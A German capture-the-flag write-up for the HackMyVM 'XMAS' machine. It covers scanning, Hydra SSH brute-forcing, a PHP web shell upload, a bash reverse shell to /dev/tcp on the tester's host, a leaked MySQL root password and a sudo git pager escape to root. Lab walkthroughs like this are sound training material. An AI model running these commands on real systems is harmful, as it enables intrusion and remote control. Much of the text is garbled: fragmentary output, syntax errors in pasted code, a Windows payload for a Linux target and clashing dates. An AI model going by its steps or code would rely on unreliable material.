XMAS - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
dirb
gobuster
curl
python3
wget
mysql
hydra

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.122 08:00:27:b1:ae:10 PCS Systemtechnik GmbH

Technische Analyse: arp-scan -l sendet ARP-Anfragen an alle IP-Adressen im lokalen Netzwerksegment, um die MAC-Adressen der verbundenen Geräte zu ermitteln.

Kontextbezogene Bewertung: Dieses Tool ist nützlich, um aktive Hosts im Netzwerk zu identifizieren, insbesondere wenn keine anderen Discovery-Methoden verfügbar sind.

Handlungsorientierte Empfehlungen:

  • Für Pentester: Bestätigen Sie die Existenz des Zielhosts und identifizieren Sie den Hersteller der Netzwerkkarte.
  • Für Systemadministrator: Überwachen Sie das Netzwerk auf unbekannte Geräte.
┌──(root㉿cyber)-[~] └─# vi /etc/hosts
127.0.0.1 localhost
127.0.1.1 cyber
192.168.2.122 xmas.hmv

Technische Analyse: vi /etc/hosts öffnet die /etc/hosts-Datei mit dem vi-Texteditor. Diese Datei wird verwendet, um Hostnamen zu IP-Adressen zuzuordnen.

Kontextbezogene Bewertung: Durch Hinzufügen des Hostnamens "xmas.hmv" zur /etc/hosts-Datei kann der Hostname im Browser oder in anderen Tools verwendet werden, um auf den Zielserver zuzugreifen.

Handlungsorientierte Empfehlungen:

  • Für Pentester: Verwenden Sie die /etc/hosts-Datei, um den Zugriff auf den Zielserver zu vereinfachen.
  • Für Systemadministrator: Überwachen Sie Änderungen an der /etc/hosts-Datei, um unbefugte Änderungen zu erkennen.
┌──(root㉿cyber)-[~] └─# nikto -h http://christmas.hmv
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.122
+ Target Hostname: christmas.hmv
+ Target Port: 80
+ Start Time: 2024-05-08 21:54:47 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.55 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /php/: Directory indexing found.
+ /php/: This might be interesting.
+ /images/: Directory indexing found.
+ 7962 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2024-05-08 21:54:58 (GMT2) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Technische Analyse: nikto -h http://christmas.hmv ist ein Open-Source-Webserver-Scanner, der auf bekannte Schwachstellen, Konfigurationsfehler und gefährliche Dateien prüft. Die Option -h gibt das Ziel an.

Kontextbezogene Bewertung: Nikto hat mehrere interessante Punkte gefunden, darunter fehlende Sicherheitsheader (X-Frame-Options, X-Content-Type-Options), Directory Indexing in /css/, /php/ und /images/, sowie die Verwendung von ungültigen HTTP-Methoden. Diese Punkte können von Angreifern ausgenutzt werden.

Handlungsorientierte Empfehlungen:

  • Für Pentester: Untersuchen Sie die fehlenden Sicherheitsheader und die Verwendung von ungültigen HTTP-Methoden.
  • Für Systemadministrator: Konfigurieren Sie die Webserver-Sicherheitseinstellungen, um die fehlenden Header hinzuzufügen und die Verwendung von ungültigen HTTP-Methoden zu verhindern. Deaktivieren Sie Directory Indexing, falls nicht erforderlich.
┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.122 -p- | grep open
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.55

Web Enumeration

┌──(root㉿cyber)-[~] └─# dirb http://christmas.hmv
Scanning URL: http://christmas.hmv/ DIRECTORY: http://christmas.hmv/images/ DIRECTORY: http://christmas.hmv/css/ DIRECTORY: http://christmas.hmv/fonts/ http://christmas.hmv/index.php (CDE:200|SIZE:22834) DIRECTORY: http://christmas.hmv/javascript/ DIRECTORY: http://christmas.hmv/js/ DIRECTORY: http://christmas.hmv/php/ + http://christmas.hmv/server-status (CDE:403|SIZE:278) DIRECTORY: http://christmas.hmv/uploads/ END_TIME: Wed May 8 23:03:28 2024 DWNLADED: 13866 - FUND: 3

Technische Analyse: dirb http://christmas.hmv ist ein Tool zum Auffinden von versteckten Verzeichnissen und Dateien auf einem Webserver. Es verwendet eine Wordlist, um mögliche Pfade zu erraten und prüft, ob diese existieren.

Kontextbezogene Bewertung: Dirb hat mehrere interessante Verzeichnisse und Dateien gefunden, darunter /images/, /css/, /fonts/, /javascript/, /js/, /php/ und /uploads/. Diese könnten potenzielle Angriffsziele sein.

Handlungsorientierte Empfehlungen:

  • Für Pentester: Untersuchen Sie die gefundenen Verzeichnisse und Dateien auf Schwachstellen.
  • Für Systemadministrator: Beschränken Sie den Zugriff auf sensible Verzeichnisse und Dateien.
┌──(root㉿cyber)-[~] └─# gobuster dir -u http://christmas.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://christmas.hmv/index.php (Status: 200) [Size: 22834]
http://christmas.hmv/images (Status: 301) [Size: 315] [--> http://christmas.hmv/images/]
http://christmas.hmv/uploads (Status: 301) [Size: 316] [--> http://christmas.hmv/uploads/]
http://christmas.hmv/php (Status: 301) [Size: 312] [--> http://christmas.hmv/php/]
http://christmas.hmv/css (Status: 301) [Size: 312] [--> http://christmas.hmv/css/]
http://christmas.hmv/js (Status: 301) [Size: 311] [--> http://christmas.hmv/js/]
http://christmas.hmv/javascript (Status: 301) [Size: 319] [--> http://christmas.hmv/javascript/]
http://christmas.hmv/fonts (Status: 301) [Size: 314] [--> http://christmas.hmv/fonts/]

Technische Analyse: gobuster dir -u http://christmas.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k ist ein Tool zum Auffinden von versteckten Verzeichnissen und Dateien auf einem Webserver. Es verwendet eine Wordlist, um mögliche Pfade zu erraten und prüft, ob diese existieren.

Kontextbezogene Bewertung: Gobuster hat ähnliche Verzeichnisse wie Dirb gefunden.

Handlungsorientierte Empfehlungen:

  • Für Pentester: Untersuchen Sie die gefundenen Verzeichnisse und Dateien auf Schwachstellen.
  • Für Systemadministrator: Beschränken Sie den Zugriff auf sensible Verzeichnisse und Dateien.
Die PHP Sprache wurde mit dem Tool Wappalyzer gefunden Die Folgende JavaScript Bibliothek wurde gefunden
jQuery

Die Folgende UI Frameworks wurde gefunden
Bootstrap
Der Server verwendete Ubuntu
< - End header - > < - https://github.com/nhi-ngo/christmas-countdown - >

What was Joseph's job?
Brandy Homes
Jesse Strange
Kimberly Wininger

ref=info@christmas.hmv
ref=santa@christmas.hmv


view-source:http://christmas.hmv/php/form-process.php?name=ben
Name is required Email is required Subject is required Subject is required Message is required

Initial Access

┌──(root㉿cyber)-[~]
└─# hydra -l alabaster -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.122:22 -t 64

┌──(root㉿cyber)-[~]
└─# hydra -l joseph -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.122:22 -t 64

┌──(root㉿cyber)-[~]
└─# hydra -l nhi-ngo -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.122:22 -t 64

Technische Analyse: Hydra wird auf die User ausgefahren .

Kontextbezogene Bewertung: Hier werden die drei Benutzernamen die in der Webseite genannt worden sind mit der RockYou txt durchprobiert

Handlungsorientierte Empfehlungen:

  • Für Pentester: Informationen zu BruteForcen verwenden
  • Für Systemadministrator: Die Sicherheit erhöhen.
┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://christmas.hmv" -H "Host: FUZZ.christmas.hmv" --hc "404" --hw 28
ID Response Lines Word Chars Payload 200 591 L 1734 W 22820 Ch "www"

Technische Analyse:Es wird versucht durch Subdomains weitere Informationen zu bekommen

Kontextbezogene Bewertung:www wird Gefunden

Handlungsorientierte Empfehlungen:

  • Für Pentester: Den Usernamen verwenden für Angriffe
  • Für Systemadministrator:Daten absichern
http://christmas.hmv -vI
HEAD / HTTP/1.1 Host: www.christmas.hmv User-Agent: curl/8.5.0 Accept: */* HTTP/1.1 200 OK
Date: Wed, 08 May 2024 21:35:55 GMT
Server: Apache/2.4.55 (Ubuntu)
Content-Type: text/html; charset=UTF-8
" GET /wordpress/wp-includes/ HTTP/1.1" 200 205
"Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/121.0" Es kommen keine weiteren Informationen rüber

Technische Analyse: Hier werden mit http GET mehr Details rausgefunden

Kontextbezogene Bewertung: Informationen aus dem Browser sind sichtbar.

Handlungsorientierte Empfehlungen:

  • Für Pentester: IP Adresse abspeichern.
  • Für Systemadministrator: Sicherheitseinstellungen konfigurieren.
payload mit curl: ""
Es Wird eine Datei hochgeladen . .
http://christmas.hmv/uploads/shell.php?cmd=ls
shell.php

hier wird nun nc -lvnp auf der Kali ausgeführt um eine verbindung zu bekommen und auszuführen /uploads/shell.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27 " listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.122] 48396 bash: cannot set terminal process group (716): Inappropriate ioctl for device bash: no job control in this shell www-data@xmas:/var/www/christmas.hmv/uploads$

Technische Analyse: Hier wurde die Shell.php hochgeladen und im Terminal mit NetCat Verbindung Abgefangen

Kontextbezogene Bewertung: Webserver Zugriff aus der Kali erhalten. .

Handlungsorientierte Empfehlungen:

  • Für Pentester: Shell Rechte auf der kali sichern.
  • Für Systemadministrator:Upload funktion sicherer machen.

Privilege Escalation

Hier die Rechteüberprufung für mehr infortmationen www-data@xmas:/var/www/christmas.hmv$ cat index.php
// Connect to your database
$mysqli = new mysqli('localhost', 'root', 'ChristmasMustGon!', 'christmas');
Holen der MySQL Daten
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- -----------
AutoRunScript no no A script to automatically on session (Options: help,
migrate, cmd, railgun, priv, tunnel) Encoder none no The encoder to use for generated stager
EXITFUNC none yes Exit technique (Accepted: process, thread, seh,
none, staged)
HANDLE true yes Automatically handle the created session?
LHST eth0 yes The listen address (an interface may be specified)
LPRT 4444 yes The listen port
Payload windows/meterpreter/reverse_tcp yes Payload to use
SessLimit 4 no The maximum number of sessions for this handler

Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description
---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: process, thread, seh, none, staged)
LHST yes The listen address (an interface may be specified)
LPRT 4444 yes The listen port
uname -a Linux xmas 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-11-04) x86_64 GNU/Linux find / -type f -perm -4000 -ls 2>/dev/null
www-data@xmas:/opt/NicerNaughty$ cat nice_or_naughty.py
import os

os.system('cp /bin/bash /opt/bash')
os.system('chmod u+s /opt/bash')



www-data@xmas:/opt/NicerNaughty$ python3 nice_or_naughty.py
www-data@xmas:/opt$ ls -la total 12
drwxr-xr-x 3 root root 4096 May 6 20:59 .
drwxr-xr-x 20 root root 4096 Nov 17 17:25 ..
drwxr-xr-x 2 root root 4096 May 6 21:03 NicerNaughty

Technische Analyse: Hier Werden mit CMD befehlen nach root Rechten gesucht

Kontextbezogene Bewertung: Mit find / -type f -perm -4000 -ls 2>/dev/null weitere root Rechte gefunden.

Handlungsorientierte Empfehlungen:

  • Für Pentester: Root shell generieren
  • Für Systemadministrator: Sicherheitslücken Schließen
Hier der Befehl zum Uploaden der Datei durch den Server durch das
php skript

https://gtfobins.github.io/gtfobins/git/#sudo<
https://gtfobins.github.io/gtfobins/gdb/
https://gtfobins.github.io/gtfobins/sed/
https://gtfobins.github.io/gtfobins/nmap/

root shell ausführen
Hier Wird versucht die Root rechte zu bekommen, und es erfolgt ein
Verbindungsaufbau zu dem Benutzer Alabaster mit dem befehl su

"Import" in eine Variable, eine von mehreren

export () { local IFS=; IFS='

+ r=($@)
+ local a arg
+ for a in "${r[@]}"
+ shift
+ [[ $1 =~ ^- ]]
+ continue
+ local name
+ name="${a/=*/}"
+ local val
+ val="${a#*=}"
+ [[ $1 =~ ^[a-zA-Z_][a-zA-Z_0-9]+=$ ]]
+ [[ -z '' ]]
+ export "$name"
+ shift
+ done
+ :
+ export PAGER=; sh -c "cat <>"

cat: : Datei oder Verzeichnis nicht gefunden
sh: 1: cannot create : Directory nonexistent
sh: 1: cannot create : Directory nonexistent

"
""


Mit dem Befehl aus gtbobins wird versuch den shell auszuführen.


SUDO -U root git -p help config -l

127.0.0.1
192.168.2.199
192.168.2.122 xmas
------------------------------------------------------------------
ls -a
. ..
ls /opt
NicerNaughty
ls -la
total 12
drwxr-xr-x 3 root root 4096 May 8 21:16 .
drwxr-xr-x 18 root root 4096 Nov 17 17:25 ..
drwxr-xr-x 2 root root 4096 May 8 21:16 NicerNaughty
cd NicerNaughty
ls
nice_or_naughty.py
ls -la
total 12
drwxr-xr-x 2 root root 4096 May 8 21:16 .
drwxr-xr-x 3 root root 4096 May 8 21:16 ..
-rwxrwxrw- 1 root root 2029 Nov 20 18:39 nice_or_naughty.py
cat nice_or_naughty.py
import mysql.connector
import random
import os

# Check the wish lists directory
directory = "/var/www/christmas.hmv/uploads"
# Connect to the mysql database christmas
mydb = mysql.connector.connect(
host="localhost",
    user="root",
    password="ChristmasMustGon!",
    database="christmas"
)

#Read the names of the wish list
def read_names(directory):
    for filename in os.listdir(directory):
        full_path = os.path.join(directory, filename)
        if os.path.isfile(full_path):
            name, ext = os.path.splitext(filename)
            if any(char.isalnum() for char in name):
                status = random.choice(["nice", "naughty"])
                #print(f"{name} {status}")
                insert_data(name, status)
                os.remove(full_path)
            else:
                pass
        
        elif os.path.isdir(full_path):
            pass 

# Insert name into the database
def insert_data(name, status):
    mycursor = mydb.cursor()
    sql = "INSERT INTO christmas (name, status) VALUES ( %s, %s)"
    val = (name, status)
    mycursor.execute(sql, val)
    mydb.commit()

#Generate printable Nice and Naughty list
def generate_lists():
    mycursor = mydb.cursor()

    # SQL query to fetch all names and status
    mycursor.execute("SELECT name, status FRM christmas")

    # Separate the nice and naughty lists
    nice_list = []
    naughty_list = []

    for (name, status) in mycursor:
        if status  "nice":
            nice_list.append(name)
        else:
            naughty_list.append(name)
    
    parent_directory = os.path.dirname(os.getcwd())
    file_path = "/home/alabaster/nice_list.txt"
    # Save the nice and naughty lists to separate txt files
    with open(file_path, "w") as file:
        for name in nice_list:
            file.write(f"{name}\n")
    file_path = "/home/alabaster/naughty_list.txt"
    with open(file_path, "w") as file:
        for name in naughty_list:
            file.write(f"{name}\n")

read_names(directory)
generate_lists()
cat <config
!/bin/sh
EOF
./config
chmod +x config

sudo /usr/bin/git -p help config -c 'pager=./config' -c 'core.pager=!/bin/sh' show

cat /root/flag.txt 
< /dev/tcp/192.168.2.122/21
id
exit

:
exit 


< 
< >config -l
!< >a/new-service :33
id
:
"
hier wird endlich das Root passwort erhalten
Hier kommt die Flag
HMV{Y4NV!7Ch3N1N_Y0u_4r3_7h3_R007_8672}

Technische Analyse: Der Exploit wurde erfolgreich ausgeführt

Holen der Flags HMV{Y4NV!7Ch3N1N_Y0u_4r3_7h3_R007_8672}
HMV{7bMJ6js7guhQadYDTmBt}

Flags

cat root.txt HMV{Y4NV!7Ch3N1N_Y0u_4r3_7h3_R007_8672}
cat user.txt HMV{Y0u_G07_Th15_0ne_6543}